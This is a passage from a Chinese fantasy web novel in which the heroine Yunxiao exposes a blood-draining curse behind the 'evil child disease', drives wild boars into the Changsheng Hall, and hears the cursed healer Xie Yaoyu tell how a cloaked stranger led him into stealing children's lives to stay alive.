此话一出,一阵阵倒吸声响起。 云绡道:“它不是病!是咒!有人想要用咒语剥夺无辜孩子的性命,那咒语会吸干孩子身上的血,一旦他们身体里的血不够了,孩子便会死去。而咒语会顺着血液爬到另一个人的身上,从而起到传染的假象。” “大家也都看见了,方才我将咒语从这孩子的身体中拔出来,扔到阵法里,它没了血很快就‘死’了,孩子也因此得救。”云绡听着耳畔钟离湛的话道:“谢神医的符不能救命,是因为他的符杀不死这些咒,但他的符可以短暂地控制住咒,让这咒伴随着孩子的身体一起消亡,便不会再传染给别人。” 直白地说出来,不论老幼、是否读过书的,他们都能听得懂。 便有人问:“那这咒从何而来?!这太可怕了!几十年来从来都没有人能找到根源,就让这咒一代代地害下去!” “是啊!下咒之人何其歹毒!他要这些孩子的血做什么?” “仙子!你可知道是谁下的咒?!谁要害人?!” 云绡闻言,装得无辜:“我追逐恶童病来了渡仙城,却发现渡仙城中并无活着身患恶童病的孩子,无奈之下才上了陇山……我也想问 问长生殿,那些患病的孩子去哪儿了?可还有活着的?我能救一个,便多活一个。” 说完这话,云绡断开了一直以来束缚住那六个人和清涧身上的符,连同定身符一并撤去。 院内七人纷纷倒地,四肢酸麻,心脏剧跳,他们在院内看得不清楚,却听得清清楚楚。 这满身邪气的少女显然是来砸场子的! 更重要的是对方居然真的能破除恶童病,还将长生殿也牵扯了进去! 难道她真的知道了什么? 不管她为何而来,他们都不能让她继续妖言惑众下去!渡仙城数十年来的盛名不容打破,谁也不能摧毁他们苦心经营的长生殿! “你这个疯女人!你在这胡说八道什么?!” “大家别信!别信她!她就是个骗子!联合旁人一同演一场戏给你们看!那个孩子根本没得恶童病,这世上的恶童病也根本无法医治,都是她骗人的!” 几个人颤颤巍巍地推开人群,从长生殿内走出来。 有人认出了他们是长生殿内陪在谢神医身边的内门弟子,他们喊谢神医师祖,是谢神医的亲传。 这几个人原本在渡仙城的话便如同圣旨,可这时说的话太过独断独断,让人群里的百姓一时不知该相信哪一个。 云绡要的就是他们狗急跳墙,她看了一眼被几个急匆匆冲出来的中年人撞倒在地的谢神医,银发男子就坐在地上,真像个完全无法自控的傀儡。 “你莫要在此妖言惑众!什么符,什么咒,你在胡说八道!你就是个神棍!” 云绡不答反问:“城中身患恶童病的孩子呢?我是不是神棍,再试一次就知道了。” “什么孩子?渡仙城中无身患恶童病的孩子!那些孩子得病几日就会死,谁知道他们的爹娘将他们的尸体带到哪儿去了?” 此话一出,李大牛立刻反驳:“不对!不对!我前头三个孩子都死于恶童病,大儿子因为养得胖,带到渡仙城来时还是活着的!是、是你们长生殿的弟子说我的孩子必死无疑,以免将他的尸身带回去传染旁人,我这才将孩子留了下来。” “对对对!我那边也有人家是这样说的!他的孩子留下来了,没带回去!” “说是留下来的孩子,谢神医会做法超度,让他们来世享福的!” 那穿着道袍的中年男人满头大汗,自知这话就是自打嘴巴,偏偏云绡还不肯放过他。 “谢神医做法超度?你们说的谢神医,可是被他推倒,到现在都没站起来的那个?”云绡说着,下巴朝仍然坐在地上的男子抬了抬。 众人看去。 嚯! 这些个自称谢神医亲传的弟子,怎能将谢神医推倒在地?有功夫在这里争辩,却没人回头看一眼谢神医的处境! 第93章 两人连忙回去将谢神医扶了起来,还有两人上前呵斥云绡:“你就是神棍!方才我等是看见你在这里招摇撞骗,心中气恼,怕这些本就受苦受难的百姓遭受你的蒙骗,才一时没能顾及师祖的!” “对!谁知道你方才施的是何妖法?妖女!” 云绡听见了质疑声也不急,只对那两个嚷嚷得面红耳赤的人道:“你们能代表长生殿吗?” 二人道:“我们代表的就是长神殿!” 云绡嗤笑,目光一直没有离开谢神医的身上:“那你们能代表谢神医?你说我是妖女,方才救人不过是做戏,谢神医可也这么认为的?” 云绡确定自己方才绝对没看错,那谢神医在知道她的确有能力拔出孩童身上的咒文后,对她说了‘杀了我’这三个字。 这么长时间云绡都没见他开口说话,而传闻中的谢神医也不是个哑巴,他一直沉默着到底是不想说,还是不能说? 云绡这一举动,要么逼他发声,要么撕下那几个仗着谢神医的名号虚张声势的真神棍的面具。 云绡还等着谢神医的回答呢,众人的目光都暂时停留在长生殿内那几名中年人与谢神医的身上。片刻安静后,中年人嘴里叫嚷着云绡不配与谢神医说话,可事实上,谢神医也的确没开口。 云绡确定了,他不能开口。 仲卿也看出了问题所在,他与云绡对视一眼,眼神中询问了谢神医的情况。 云绡挑眉表示她也不清楚,甚至朝谢神医的方向抬了抬下巴鼓励仲卿:你上。 仲卿脑子一热:我上就我上! 仲卿理了理衣裳,两步走到众人跟前,他毕竟当时几十年的京都第一仙师,一只手抬起来便比长生殿里那些穿道袍的中年人更有气势,也更令人信服。 “诸位,真真假假,方才我们都看清楚了,但还有一些我们没看明白的,还请长生殿里的几位道长解释。” 仲卿指向银发男子道:“我怎么看这位谢神医都像是被你们胁迫了的样子,大家听过谢神医失声传言了吗?看那两个人架着谢神医的姿势就像怕谢神医跑了似的,你们真的是谢神医的亲传?还是另有身份?” 众人顺着仲卿手指的方向看去,的确如仲卿所说,谢神医的两只胳膊一左一右被人扶着,看似搀扶,实则控制。 “不要说那么多废话!这姑娘看病的本事是真是假,你将得了恶童病的孩子请来,我们自能分辨!” “谢神医,您是不是被他们威胁了?若是,您只需点一下头,我们便能将长生殿踏平了救您出来!” 有陪家人过来的壮年人热血上头,又在仲卿三言两语的挑拨下与长生殿对立。 “刁民!真的是一群刁民!我们长生殿为你们看病,救你们性命,你们居然敢这么对我们?!” “谢神医给我们看病!又不是你们给我们看病!你们会不会医术都还两说!”李大牛这个时候冲出来大喊一声,这话简直如同热油锅里溅进了一滴水,整个长生殿前都沸腾了起来。 那几人眼看势头越发不对,对视一眼后,其中一人大呵道:“既然尔等不稀罕,那长生殿也不再为你们治病,你们都走吧!” 说完这话便有弟子将长生殿的大门关上。 “好一招釜底抽薪。”云绡低声对钟离湛道:“来这 儿的都是为了看病,而他们把控了长生殿的一切,关闭长生殿大门,山下成百上千的病患无处可去,只会将矛头转到我这儿……” 云绡看那大门关上时,谢神医的眼睛突然朝她看了过来,他虽没说话,但那眼神与让云绡杀了他时一模一样。 许多百姓在看见长生殿大门紧闭后,连忙冲过去拍门,将仲卿都从人群中挤了出来。 仲卿连忙问云绡:“现在怎么办?” 场面与他们原先预计的不同,本来他们以为恶童病是那位谢神医为主导。可现在看来,谢神医摆明了是被操纵的,真正害了那些孩子的可能是长生殿里的所谓亲传弟子。 云绡满心疑惑,那些所谓亲传弟子身上根本没有半分本事,他们就像是被人套上了道袍丢在这个位置上充数的,别说是符咒阵法,他们连医术可能都不会,又如何能将整个渡仙城变成如今这样? 躲? 云绡冷哼了声,她想要做的事,是这些废物关上门就能躲得掉的? 还不等云绡怎么样呢,山上突然传来一阵轰隆隆的声音,那声音与拍门声交叠在一起,还是钟离湛率先反应过来。 长生殿几乎位于陇山三分之二的高度了,站在这里可以俯瞰整座渡仙城。 此时,山上黑压压的一片疾驰而来,踩踏地上震动的力度令人心惊,云绡被钟离湛拉到了一个相对安全的位置,一眼就看见了从山上奔腾而下的究竟是什么。 少女瞳孔骤缩,拔高声音:“仲卿!有野猪!快跑!” 一声有野猪,呐喊着快跑,那些正在拍门的百姓也停下动作发现异样,慌不择路地逃跑,惊叫声连连。 云绡一看他们到处乱窜,上山下山就这一条路,一旦乱起来还不知得多少人将命给搭进去,她又连忙喊道:“别乱!都别乱!” 云绡朝长生殿看去一眼,圆眸微眯:“全都后退十步,我来控制住这些野猪!” 生死攸关之际,百姓们也只能听从云绡的安排,眼看着疯狂的野猪群朝山下奔来,云绡跳起来数了数,大约有五六十头,实在吓人! 她牵着钟离湛的手往前走:“将它们引到长生殿去!” 钟离湛讶于她如此胆大,低声道:“这么多头野猪,你控制不住!” “这不是还有你吗?”云绡道:“来吧,钟离湛,我做好准备了。” 云绡的双眸跃跃欲试,带着几分调侃:“上身啊!” 钟离湛见她还有心思玩闹,都咬牙切齿了。 眼看着野猪群越来越近,云绡陡然瞪大双眼:“不是……该不会是,你也不行吧?” 云绡说完这话,只来得及与钟离湛对上视线便陷入黑暗,野猪声沸腾着,云绡将身体彻底放给钟离湛掌控。 连洛娥都能封印的人,怎么可能解决不了几十头野猪?只是这野猪出现得未免也太凑巧了。 云绡当着众人的面制伏了野猪,救了大家得记大恩,还将野猪引入长生殿,托借口于天灾,简直是一石二鸟之计嘛! 轰隆隆的声音近在咫尺,一声声尖叫声几乎要冲破云霄,众人眼前突然掠过了一片黑,尘烟四起,紧闭的长生殿大门被外力冲破,无数头野猪横冲直撞地往里跑。 长生殿不大,几十头野猪够霍乱那些人了。 云绡再度睁开眼时骚乱还未平,破烂的大门内一阵阵野猪的吼叫声叫人心生畏惧,不一会儿浓烟散出,野猪的动静越来越小,看来长生殿的人还有几分本事。 云绡摩拳擦掌,打算朝长生殿内看一眼那里现在如何了。 仲卿突然在被野猪几乎踏出一条山路的山坡上看见了个熟悉的人影,他心下大骇,连忙跑过去:“徐容靳,你怎么会在这儿?” 云绡一听徐容靳的名字也不去管长生殿内如何了,跟着仲卿去看徐容靳。 徐容靳脸色惨白,身上多处挂彩,衣裳也破烂不堪,连他一直护着的两只小野鸡也都各负了点儿伤,一瘸一拐地跟在主人身后。 仲卿喊他他没反应,双眼失焦地盯着脚下的路。 云绡见徐容靳情况不对,念咒将他身上的伤口治好,这才轻声问:“发生了什么?你不是在城里吗?怎么会跑到山上去了?” 徐容靳觉得身上不疼了,意识才回归了点儿。 他顺着轻柔的声音看去,看见了一张熟悉的脸,脑海中纷乱的可怕的画面被那双眼睛安抚住,刺眼的火光褪去,徐容靳认出眼前的少女是他的娘亲。 “娘,我看见那个人了。”徐容靳张开双臂一把将云绡抱住,他浑身颤抖,像是还未从恐惧中脱离出来,眼泪滚滚,如同无助的孩童一样大哭:“是那个人!那个教大哥杀人的人!他穿着黑色的斗篷,遮着脸,他说我大哥死了,娘也死了,说让我去陪大哥和娘,呜呜呜——” 云绡抬起手僵硬了一瞬,没有立刻推开他,只拍了拍他的脑袋道:“那个人,是坏人吗?” 徐容靳拼命点头,以此确定那个人很坏,很坏! 云绡安慰他道:“既然是坏人,那坏人的话都是不可信的,你看,娘和大哥都还在。” 仲卿有些尴尬,也有些心疼。 他拉过徐容靳的胳膊让他松开云绡自己上前把傻大个抱住。毕竟他可看不见钟离湛,也不知道钟离湛见自己冥婚的妻子被傻大个抱得这么紧是个什么表情。 徐容靳面对仲卿,哭得更厉害:“我、我听娘的话,去城里找小孩,我、我问了好多只鸡鸭鹅,终于在一条狗那里问到了。那里放了好、好多小孩的骨头,然后那个坏人突然就出现了!” 徐容靳当时看见黑衣神秘人时便怔住了,他记得这个人是教大哥杀人的人!若川里埋着的那些白骨,有许多都是大哥杀的。 明明就在他眼前的白骨,因为那个人的出现突然就消失了,徐容靳记得娘说的话,不管是找到孩子还是遇见危险,都要将符撕毁。 所以他拿出了符纸,可那个人看见了他的符突然就朝他伸手,他夺走了徐容靳的符,徐容靳追逐着他一路上了山。 他凭着本能号召山中的野兽,他要抓住那个坏人!可没想到…… “娘!大哥!那个人会兽语!他明明没有尾巴,却会兽语!那些野猪本来是听我的话的,突然就变成听他的话了,我、我差点就死了呜呜呜——” 云绡闻言不可谓不震惊。 那个人,明明是曦族人…… 五族中不乏各族通婚的,但生下的孩子也只可能是其中一族。 就好比兽族的与旖族的通婚,生下来的若没有尾巴,就必然是旖族的。哪怕他们生下了女孩儿,只要那个女孩儿有尾巴,也不会如同旖族女一样被诅咒。 一直以来,五族的天赋都不曾共有过,那个曦族长老如何做到会兽语,并且一次能支配这么多头野猪,连徐容靳这个徐氏本家的都敌不过。 “钟离湛……”云绡想不通,她想问问钟离湛,一回头却发现钟离湛并不在她的身边。 他离她最多十步远,此刻就站在十步距离处,背对着他们,正望向长生殿的方向- 浓烟渐渐散去,离长生殿近的一些百姓也闻到了烟中苦涩的味道,头脑一阵迷糊之后便朝后倒去。 长生殿内突然出现那么多头野猪,他们又没有能力制伏,便只能放出大量迷烟将那些野猪药倒,即便如此他们也损伤惨重。 那六名身份不明的亲传弟子死了两个,还有两个重伤,另外两个躲起来了。 长生殿内身穿暗红色长袍的弟子也有许多受伤的,亦死了十多个人。 谁也顾不上其他人,活下来的心有余悸,生怕野猪群中有漏网之鱼。 倒下的一大片野猪中,横着十多具浑身鲜血,被野猪咬死的尸体。 那两个死掉的亲传弟子恰好是架着谢神医的,因为他们身边有谢神医才没能及时逃亡,三个人一起被野猪撞倒,咬破腿脚, 最后死去。 谢神医的尸身上,压着旁人一半的身体和一条猪腿。 银发上沾染污渍与血迹,苍白的脸血色褪尽。 合上的双眼忽而睁开,血色重回身躯,僵化的四肢也重新活了过来。 谢神医深深地喘了一口气,他看着碧蓝的天空,眼底充满不耐烦与痛苦的厌恶。 第94章 “你在看什么?” 云绡走到钟离湛的身边,顺着他的视线朝长生殿的方向看去,那里的浓烟已经散尽了。 长生殿门前倒下一大片的百姓,便是那些原先排队想要寻谢神医看病的也都纷纷捂住口鼻,退至半山腰下。 他们害怕野猪突然冲出来害死他们,可也舍不得自己排了数十天的队伍,抬首张望,进退两难。 钟离湛看向那些在生与死中苦苦挣扎的、被病痛折磨着却也仍然艰难求生的人,轻声对云绡道:“我们去长生殿吧。” “你怕那些野猪杀人?”云绡其实不用去看也能猜到,几十头野猪都冲进去了,不可能一人不伤。 她对于让野猪冲入长生殿后会死人之事早有预料,在她的眼里渡仙城内这些浑身充满血腥气的人都没有一个无辜,更何况长生殿的弟子。 可毕竟动手的是钟离湛,云绡担心钟离湛会愧疚,她牵住钟离湛的手道:“他们是知情者与得益者,死不足惜的。” 钟离湛知道她在想什么,他没想到云绡这个时候居然回头来安慰他了,钟离湛回握了她的手道:“我不是去救人的……我是去杀人的。” 云绡一愣。 钟离湛轻叹:“我离你们又不远,你们方才的对话我都听见了。徐容靳看到的黑衣不是真人,而是像若川上的一样,是那人留下的傀儡。” 云绡见钟离湛提起这些事半点也不惊讶,她反倒惊讶了:“你知道?” 钟离湛嗯了声:“昨夜挑开谢神医的衣裳时我就猜到了,一直没有告诉你,也是我有引蛇出洞的想法。你有你的计划,我顺水推舟,让他的傀儡现身,说不定能有机会揭开他的斗篷看看,他到底是什么人。” “野猪来时,我感应到他就在陇山上。当时你让我附身使野猪冲入长生殿,我有片刻犹豫不是因为担心长生殿里的人会死,而是长生殿里的人什么时候都能杀,可他随时都能跑。”钟离湛也只是犹豫了那么一瞬便做出了和云绡一样的决定。 长生殿里的人何时都能杀,那个傀儡也随时都能跑,但这山里百姓的命他总要顾忌着。 钟离湛感应到了,那人就在山上看着他……或者说,是看着云绡。 他看到他做出的选择后就消失了。 同时,野猪嚎叫着踏碎了倒地不起之人的胸膛,谢神医因为无法挣扎,反而死得最快。 钟离湛对云绡道:“他死了,但是方才长生殿中阵法启动,血腥味充斥山巅,掩盖了那个傀儡逃走后残留的气息,没一会儿他就又活过来了。” 云绡听钟离湛说了这么多,也终于解开了她觉得钟离湛在遇见谢神医后就表现得很不对劲的疑惑。 “死而复生……”云绡喃喃道:“所以这里才叫长生殿,所以……他不是躲过了你的诅咒,他不是因为能活到两千岁才在这里,而是因为他死不掉。” 钟离湛点头:“我知道那个人是如何使用同生符的了,正是因为知道,我才觉得难过。” “绡绡,我创造出同生符的本意,是想让那些求生不能的人能有一线活下去的机会,而不是让意图改命者,借命而生。他们不是同生,是偷命!” 钟离湛的表情有些落寞:“你看这上山之路,多少人在为生存屈膝奔波,可这世上尽有如此恶毒之人,他甚至不是为了自己求得长生,便偷走了那么多孩子的生命,以血养阵,以阵养人。” “而我……能做的极其有限。” 钟离湛低头看了一眼自己的手,他能看到他的掌心,也能透过掌心,看见他脚下被野猪踏平的泥泞山路上,一朵不屈不折的野花。 钟离湛的心中生出了无力与痛恨,无力于他此刻仅魂魄一缕,早就不是过去的曦帝。 痛恨他明明看穿了这座渡仙城的真相,可凭他一己之力,无法劝说所有为活命而不断朝渡仙城涌入的凡人,更无法去拯救此刻不知几人家中,又患上恶童病的孩童。 这是无数人的野心和无数人的信仰铸成的城池,数十年一砖一瓦,一叶一树堆砌而成的血窟。 云绡也明白了,同生符是钟离湛用来救人的。 而今他创造出来的同生符却被有心之人利用,害死了那么多无辜的孩子,数十年的累加,数以万计的生命,造就了他们脚下如同地狱一样,连一颗白菜都充满血腥味的地方。 同生符分为两张,主符为命,副为同生,是使用主符的人将自己的生命与副符者共享。 谁能想到,那神秘人的作法将其反了过来,他分散了无数张主符,将主符化成了咒文,用一些恶毒的手段融入那些孩子的身体里,借着他们的血肉铸造副符的生命。 无数张副符,成了夜空下渡仙城中逐渐汇聚的血脉,供养着长生殿,融入了谢神医的体内。 只要这世上还有一个得了恶童病的孩子没死,只要分散出去的主符还有一张存活,他们就可以将自己的命同生于谢神医,使他永远不死,成为真正的长生。 云绡想明白这一点,也知道钟离湛说去长生殿杀人,杀的是谁了。 “钟离湛,不要将压力背负在你自己的身上,就好比人创造了火焰,是为了更好地生活,但烈火同样能被用来杀人,这不怪火,也不怪你。” 钟离湛愣怔地看向云绡,他当然知道,不是火的错,也不是同生符的错。 他只是一如既往地痛恨,痛恨这世间不宁,有能者不去为苍生谋福,不去对抗苍穹上方虎视眈眈执子对弈者的不公,却用自己手中刀剑,屠戮无法反抗的孱弱的生命。 “走吧。”云绡道:“你不是想要挽救更多人的性命吗?我和你一起。” - 长生殿内,血腥味与药味弥漫在一起。 嘈杂声渐渐传来,殿内弟子确定那些野猪不会突然暴起伤人之后,连忙朝殿外跑去。 他们捂着口鼻,根本没看见自己脚下踩着的是谁,也没管这个时候谁走进了长生殿。只等着危机彻底解除之后再回来,与还活着的师叔师父们商讨,接下来他们该怎么办。 云绡与他们擦身而过、背道而驰。 她很快就在瘫倒的野猪群里看见了谢神医,他身上压着一半尸体和一半野猪,只露出了一个脑袋。那双眼死寂沉沉地望着天空,在云绡到来的时候连动都没动一下。 如果不是因为他的脸色不错,胸膛还在起伏,就这样子云绡几乎要以为他真的死了。 可他即便没死,也与活着无关。 谢神医就躺在那儿,不挣扎,不求救,眼神失焦。 钟离湛念了句咒语,将压在谢神医身上的两具尸体都移开。即便没有束缚他也没动,仍然躺在那儿,似乎是因为痛苦,身体细微地抽搐了一下,可脸上毫无表情。 又一次,又一次活过来了…… “喂。”云绡蹲在他身边问他:“你知道你的生命是以什么代价换来的吗?” 谢神医没出声,可瞳孔刹那的收缩告诉云绡,他知道。 “那你让我杀你,是你真的想死,还是知晓你每死一次,就会有更多的孩子失去血液供养渡仙城,而你又不会真的死去,所以才用这种伤害他人的方式来挑衅我?” 云绡说完,谢神医终于动了,他没想到云绡居然会知道这么多。一个从始至终都如同傀儡一般的人,终于拥有了点儿鲜活的特征。 他朝云绡摇头,嘴唇一张一合,半天没发出声音,停顿了好一会儿,他才终于能说出话。 粗粝的声音如同生锈的刀互相摩挲:“杀了我,杀了我……真正的,杀了我!” 他要的不是虚假的死亡,他不要死而复生,他其实只是在赌,赌一个希望,赌一个能逃脱这样折磨着他人也折磨着自己的牢笼。 云绡看不出来他到底是不是演的,毕竟有的人演戏很真,也不是人人都是他那些废物弟子。 所以云绡求助了钟离湛,她看向钟离湛的同时,得到了钟离湛的答案。 谢神医是真心想要求死的,他不想活了。 云绡问钟离湛:“你知道要怎样才能杀死他吗?” 钟离湛点头:“只要他愿意,总有办法,但在他死前,有些话要问清楚。” 云绡也想起来了,她问谢神医:“在你身上刻下咒文的人是谁?你可见过他的容貌?他可有说 过要你长生的目的?” 谢神医神情恍惚了瞬,他依旧沉默着,云绡却道:“这是作为我让你解脱的条件,你不说,我就不会杀你。” 谢神医看着她好一会儿,摇了摇头道:“即便我不说,你也会杀了我。” 他能看得出来,纵使云绡的一些行径有些旁门左道,但她所有行为的结果都指向了,她能给他一个解脱,哪怕是为了那些无辜的人,她也会杀了他。 “你看,就怕遇到真无赖。”云绡对钟离湛耸了耸肩。 钟离湛看了谢神医好一会儿,才道:“你问他,他是否姓钟离。” 云绡闻言,瞪大了双眼,她将目光在钟离湛和谢神医的身上来回扫视。 她这举动太怪异了,怪到谢神医都不禁有些疑惑:“你在和谁说话?” 云绡眨了眨眼:“可能是你祖宗。” 谢神医沉默。 云绡又道:“你是否姓钟离?” 那个颓丧着一直弓着背垂下脑袋的人陡然抬起头来,震惊地看向云绡,也无需他的回答,便是这一举动云绡和钟离湛就知道他的答案了。 “你、你怎么会知道?你认得那个人?还是……你也和那个人一样?” 谢神医的话没头没尾的,但云绡听懂了,她道:“不论你说的那个人是谁,我都和他不一样,因为我不会去害没有害过我的人。任何目的,任何缘由,都不是残害无辜的理由。” “那怕是,以百人性命,去换千万人的性命,你也不会去这么做?”谢神医看着云绡的眼,他要得到她真心的答案。 云绡也真诚地回答他:“若是以前,我会。若有机会能用一百人的性命去换千万人的命,我觉得值得!但是有一个人告诉我,这世间所有人的命,不分老幼,不分强弱,不分高低贵贱。” “我可以用自己一命换一命,也不能用他人一命换万命,若我有能力,便用手中剑去斩罪恶,而非主宰他人生死,这对被主宰者不公。而我既然不公,那便更没有资格去评判,百人的性命和千万人的性命,孰轻孰重。” 云绡的回答,让谢神医沉默了片刻,他又问:“那如果那百人都是罪大恶极……” 他的话没说完,云绡便打断了:“若他们真是罪大恶极之辈,百命换一命都值。可你既然问出了口,便说明他们不是罪大恶极之辈,他们只是芸芸众生之一。” 谢神医长长地啊了一声,他似乎是被云绡点醒了,可实际上他一直都清醒着,清醒地纠结,清醒地痛苦,清醒地自我厌弃,又自我安慰。 反反复复,在每一次死而复生中,愈发迷惘。 片刻,谢神医又垂下了头道:“我父姓谢,母姓钟离,我叫谢尧钰。” 第95章 “钟离,本是曦族世家,但因两千多年前曦帝故去之后,后世人于史书上浑浊的一笔,钟离一氏从云端跌入了泥潭,从此再没离开过东洲。” “钟离一氏至我母亲这一辈,也就只剩下她一个人了。母亲不愿钟离绝姓,可曦族中谁不知钟离氏的过去和将来,谁也不愿沾惹麻烦,我母亲便在人族找了个穷小子入赘,生下了我。” 一个人族的穷小子,房屋都没有,自生下来就在底层,饥一顿饱一顿地活着。 他没想过自己的人生于弱冠那年被神明恩赐,许他遇见九天仙子。 钟离氏美得不似凡人,即便钟离家落魄了,可她仍然维持着钟离家族的规矩和气度。 她问谢真是否愿意入赘,她能给他的,就是一个寻常生活,三餐温饱。 谢真想也没想就答应了,他提着仅两身破布拼凑的换洗衣裳,踏入了东洲钟离家的老宅。 可惜命运不疼钟离氏,谢尧钰被生下来后,他的母亲便重病缠身。 谢尧钰有记忆以来,自己就是嗅着药味长大的。谢真没日没夜地学习药理,将钟离家仅剩的钱财都用去给母亲买药,可惜钟离氏的身体仍然没有太多好转。 谢尧钰七岁那年,他的母亲还是离世了,谢真操办她后事时没有哭,但从那天之后也一直都没再笑过。 真正的钟离,随着钟离氏的离去,彻底于曦族消散。 钟离氏旁支中的旁支,看着偌大老宅妄图占去,他们辱骂谢尧钰不是真的钟离之后,骂谢真就是想吃钟离氏的绝户。 谢尧钰记忆里的父亲,一直是沉默寡言的懦弱模样。母亲在世重病时他一直都是弯着脊背的,可母亲死后他的脊背直起来了。 有人挑唆,说谢真死了妻子,把持钟离家的老宅,终于露出了狼子野心。 平日里只会摆弄草药的人听到这些恶言恶语,也敢举起棍棒,将那些妄图侵占钟离老宅的人驱赶出去。 每次他都伤痕累累地回来,而后沉默地回到母亲曾经看书的阁楼二层,抱着母亲的一缕衣衫,晒着太阳沉沉睡去。 谢尧钰对医术颇有天赋,谢真每一次受伤都是他去医治的,可人的外伤可医,心伤无药可治。 谢尧钰渐渐长大了,他深知拳头制止不了小人的觊觎,所以他迂回地用给人看病的方式,博取了东洲绝大部分人的敬重,哪怕只是表面敬重。 人总有生老病死的时候,谁也不会冒险得罪一个医术了得的大夫,钟离氏的老宅父子二人一起守了十多年。 谢尧钰弱冠那日,谢真亲自下厨,给谢尧钰煮了一碗长寿面。 他对谢尧钰道:“你要记得,你姓钟离,日后行事都要三思,万不能辱没了这个姓氏。” 他已是风中残烛,挺直的腰背在周围人对谢尧钰的尊重下,又渐渐弯了下去。难得一次父子交谈,谢真将自己为数不多懂得的道理都告诉给了谢尧钰听。 那天晚上的面很香,那天夜里的风也很冷,后半夜下了一场雪,冰冻了东洲所有街道。 谢尧钰醒来时在屋中没找到谢真,他似有所感,去了阁楼二层,看见阁楼窗户大开,白雪越过窗棂,在谢真的身上盖了厚厚一层。 从此以后,谢尧钰就只是一个人了。 他谨记着谢真的话,他姓钟离,他叫钟离羽,他做的所有事都要三思,不可辱没了钟离氏族的门楣,不能给这个姓氏带来半分污点。 在东洲内看诊,他就还是钟离羽,但离开东洲之后,他就化名谢尧钰。 东洲毕竟曾是钟离氏族的领地,可出东洲,曦族人对于钟离湛的诅咒仍然心存怨怼,他不想用本名将麻烦带回东洲。 后来谢大夫之名在东洲之外渐渐盛起,谢尧钰也离东洲越来越远。 他从每个月回去一次,变成了每年回去一次,后来好几年也不曾回家。 他曾亲眼见到母亲受病痛折磨,便不忍这世间人人受疾病之苦,他每救一个人,便多一分地感受活在这个世界上的意义。 直到,他遇见的那个人。 谢尧钰有无法救的病,那个人可以,他告诉谢尧钰,这世间不是所有病都有药可医,有些病得需非常手段,或符,或咒。 谢尧钰自然知晓符咒,所有人都说符咒之术是神明赐予曦族的天赋,可事实上曦族人自己知道并非如此。所有符咒都有秘法,得学,也得看天赋。 谢尧钰本为救人,若有更多办法可以帮到更多的人,他当然愿意学。 那个人教得也很用心,似是良师,又是益友。 只是他一直黑袍遮面,偶尔会露出一双漆黑的眼,沉沉地看向谢尧钰,不知是在透过谢尧钰看谁。 谢尧钰问:“你为何要教我这些?” “你是钟离之后。”那个人如此回答他。 谢尧钰斗胆又问:“你……与我的母亲认识?” 那个人轻声道:“见过一面。” 谢尧钰最初以为,那个人会帮他,或许是因为他是母亲的旧友,而曦族除东洲之外,对钟离姓都不太友好,所以那个人才会遮面,不想让旁人看到。 或许真的只是旧友之情,那人在教完谢尧钰后便离开了,后 来的很长一段时间他都没有再出现- 谢尧钰有一个常人不知的秘密,他的外表看上去只有二十岁,可实际上他已经活了六十多年。 或许是因为他的母亲与人族通婚生下了他,让他躲过了曦帝对曦族寿不过百的诅咒。又或许是因为他的身上发生了什么奇迹,上苍见他救死扶伤,给予了他一些长命的机缘。 正因此,谢尧钰十分感激自己寿命上的机缘,更加无私地为这世上所有受病痛折磨之人奉献。 途径百岁镇时,谢尧钰已经八十多岁了,可他的外貌几乎没有改变。 百岁镇中不知因何而起的疫病,镇子里因病而死的人越来越多,此病传染,百岁镇里的百姓也是因为担心他们偷跑出去会害得更多的人染上疫病,这才宁可死守着镇子也不去外界求救。 谢尧钰见他们本性良善,也不忍看那么多大人孩子都在苦痛的折磨里生离死别,于是他留了下来。 他找不到病因,就用那个人教给他的符用以延长百岁镇中仅剩的数百人的性命。 世人都说是因为他终于找到了病因,救下了那些人,可谢尧钰自己知道,他其实并未找到救治的办法,真正救了那些人的另有其人。 时隔几十年未见,再一次碰面,谢尧钰已经在百岁镇停留了七年,他看见熟悉的黑袍,看向了那双熟悉的眉眼。 那人用几张符留下了百岁镇中百姓的性命,在谢尧钰要离开镇子前,他与谢尧钰彻夜长谈。 他说:“你有没有觉得这个世间很奇怪?人为何要争斗?为何要有五族之别?为何不过百年安宁之后,总要有战争,有掠夺,用无数人的血肉尸骨,再去换去接下来几十年的和平?” “你有一线机缘,你的母亲虽与人族通婚,但上苍认定了你同曦帝一样的血统,他们给了你一个机会,许你比这世上所有人都长寿,你就不想用这机缘为天下苍生做些什么吗?” 谢玉尧正要说话,却被对方打断。 “我说的不是游医,如你这般走一路,停一路,停停走走,为了百岁镇里几百人的性命,在这里生生住了七年,不可惜吗?” 他道:“百人性命,与千万人的性命相比又算得了什么?若这世间能有一法,可以用百人的命,换取天下苍生真正的宁和,叫五族同归,人人平等,你可愿一试?” 许是那夜饮多了酒,谢玉尧被那个人的三言两语说得热血沸腾,他自然知晓自己身体上的特殊,也尽力因此特殊想要为这天下人多做些什么。 可经过那人如此一说,好似他在百岁镇逗留了七年,似乎是一件十分可惜的事情。 那个人道:“你姓钟离,你是钟离之后,自然也听说过钟离一姓中最强大的那个人,为这苍生所做的一切。只是可惜后世人不理解他,污蔑他,封印了他。” “封印?!”谢尧钰当然知道他说的是谁,两千多年前的曦帝,在曦族的百姓中自然也背负着骂名,毕竟是他的诅咒剥夺了曦族的长寿。 可他不是死了吗?被圣仙所杀,魂飞魄散。 那个人道:“即是死,也非死。而你,或许是这苍生的一线机缘,也是他活过来的一个契机。” “我?”谢尧钰心脏狂跳。 黑衣人点头,他的声音甚至有些颤抖:“你知道我为何知晓你是钟离之后吗?因为我嗅得出来,你的身上的血液,有与他相似的气味。” 他说谢尧钰是被上苍选定的人,如有机会,以少数换取多数人的命,如有机会,能叫两千多年前真正为苍生谋福祉的曦帝重新回到人世间,谢尧钰敢不敢一试? 谢尧钰思索一夜,夜风吹去他宿醉的头痛,而他想起自己孑然一身,又有什么不可失去的呢? 他答应了对方,他以为自己是在做一件正确的事,他选择了对的道路。 可谢尧钰也担心,他不能留在百岁镇中等着奇迹降临,这世间有的病患或许正因为他迟了一步而失去生命。 那个人说谢尧钰的担心是多余的,只要他留在百岁镇,便会有无数忧患生死的病人主动找上前来,而百岁镇活下来的几百人也可以为他所用,将这里变成一个真正为这世间所有于病痛折磨的苦难人的庇护所。 他是这样说的。 可时间告诉谢尧钰,他不是这样做的。 最初的几年,谢尧钰在长生殿中坐诊,他也很快乐,他觉得自己终于找到了活着的意义,并为此期待着。 可后来,他看见了恶童病的出现。 恶童病与百岁镇里那些人曾得过的疫病有八分相似,这让谢尧钰惶惶不安。 他还记得那个人是如何用简单的几张符纸就挽救了几百人的性命。 